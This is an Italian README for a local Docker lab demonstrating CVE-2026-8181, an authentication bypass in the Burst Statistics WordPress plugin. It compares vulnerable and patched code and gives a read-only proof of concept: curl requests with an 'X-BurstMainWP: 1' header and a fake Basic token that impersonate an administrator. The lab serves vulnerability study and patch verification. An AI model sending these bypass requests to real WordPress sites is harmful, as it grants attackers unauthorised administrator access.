Docker lab che dimostra il bypass di autenticazione CVE-2026-8181 nel plugin Burst Statistics per WordPress. Confronta le versioni vulnerabile e corretta con un PoC a danno minimo per illustrare un'autenticazione impropria nelle richieste API REST.
Laboratorio Docker locale per CVE-2026-8181, un bypass dell'autenticazione nel plugin WordPress Burst Statistics – Privacy-Friendly WordPress Analytics.
Questo laboratorio confronta una versione vulnerabile del plugin con la versione corretta e utilizza un PoC a danno minimo per dimostrare la differenza senza creare utenti, caricare file o modificare lo stato di WordPress.
Plugin interessato: Burst Statistics – Privacy-Friendly WordPress Analytics
Versioni interessate: 3.4.0 a 3.4.1.1
Versione corretta: 3.4.2
Tipo di vulnerabilità: Bypass dell'Autenticazione / Autenticazione Impropria
Impatto: Un attaccante non autenticato può impersonare un amministratore per la durata di una richiesta API REST se conosce un nome utente amministratore valido.
In questo laboratorio:
vuln esegue Burst Statistics 3.4.1.1patched esegue Burst Statistics 3.4.2X-BurstMainWP: 1Il servizio seed installa WordPress, crea l'amministratore del laboratorio e attiva Burst Statistics in entrambi gli ambienti.
Nome utente amministratore del laboratorio:
labadmin
Il PoC utilizza intenzionalmente una password errata per dimostrare il bypass.
Burst Statistics include un percorso di autenticazione proxy correlato a MainWP. Quando una richiesta API REST include questo header:
X-BurstMainWP: 1
Burst delega l'autenticazione a MainWP_Proxy::is_mainwp_authenticated().
Nella versione vulnerabile, la funzione legge le credenziali di autenticazione Basic controllate dall'attaccante, estrae il nome utente e la password, e li passa al core di WordPress:
$is_valid = wp_authenticate_application_password( null, $username, $password );
Il bug è nel controllo del valore di ritorno.
3.4.1.1Semplificato da includes/Frontend/class-mainwp-proxy.php:
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
Il codice vulnerabile rifiuta solo WP_Error. Tuttavia, wp_authenticate_application_password() può restituire null o un altro valore non utente quando l'autenticazione non è effettivamente riuscita. Poiché null non è un WP_Error, il controllo viene superato.
Dopodiché, il plugin cerca il nome utente fornito e chiama:
wp_set_current_user( $user->ID );
Questo fa sì che WordPress tratti la richiesta API REST corrente come quell'utente. Se il nome utente appartiene a un amministratore, i controlli di capacità di WordPress vedono un amministratore per il resto della richiesta.
La versione corretta risolve il controllo di autenticazione richiedendo un oggetto utente reale autenticato prima di procedere.
3.4.2Concettualmente, la correzione è:
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
Il cambiamento importante è che un valore di ritorno semplicemente 'non-errore' non è più sufficiente. Il risultato dell'autenticazione deve essere un oggetto \WP_User effettivo.
Questo blocca il percorso vulnerabile in cui null supera il vecchio controllo is_wp_error().
Il laboratorio dimostra una prova in sola lettura utilizzando:
/wp/v2/users/me?context=edit
Quell'endpoint è sufficiente per mostrare se WordPress considera la richiesta autenticata.
L'impatto nel mondo reale può essere maggiore di questa prova di laboratorio. Se un attaccante può impersonare un amministratore per una richiesta API REST, potrebbe essere in grado di accedere a endpoint WordPress privilegiati. Nelle configurazioni WordPress comuni, l'accesso come amministratore può portare a un takeover persistente del sito tramite creazione di account, password delle applicazioni, installazione di plugin, modifica dei temi o altre azioni amministrative.
Questo repository evita intenzionalmente quei percorsi distruttivi.
docker compose up -d --build
Attendi che il servizio seed monouso finisca:
docker compose logs seed
Output previsto del seed:
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete
Installa la dipendenza Python:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Esegui il PoC contro il servizio vulnerabile:
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
Risultato previsto per il servizio vulnerabile:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]
[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
Esegui lo stesso PoC contro il servizio corretto:
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
Risultato previsto per il servizio corretto:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 401
[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
Genera un token di autenticazione Basic falso:
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
Richiesta di base senza header di bypass:
curl -sS -i \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Previsto:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
Tentativo di bypass:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Previsto:
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]
Esegui lo stesso tentativo di bypass contro il servizio corretto:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
Previsto:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
Il servizio vulnerabile mostra chiaramente il cambiamento di comportamento:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200
Il servizio corretto rifiuta sia i tentativi non autenticati che quelli di bypass:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401
Questo PoC è intenzionalmente a danno minimo:
Usa questo laboratorio solo nel tuo ambiente Docker locale.
| Servizio | Descrizione | URL |
|---|
vuln | WordPress + Burst Statistics 3.4.1.1 | http://127.0.0.1:8081 |
patched | WordPress + Burst Statistics 3.4.2 | http://127.0.0.1:8082 |
db_vuln | MySQL per WordPress vulnerabile | Solo interno |
db_patched | MySQL per WordPress corretto | Solo interno |
seed | Contenitore di setup WP-CLI monouso | Solo interno |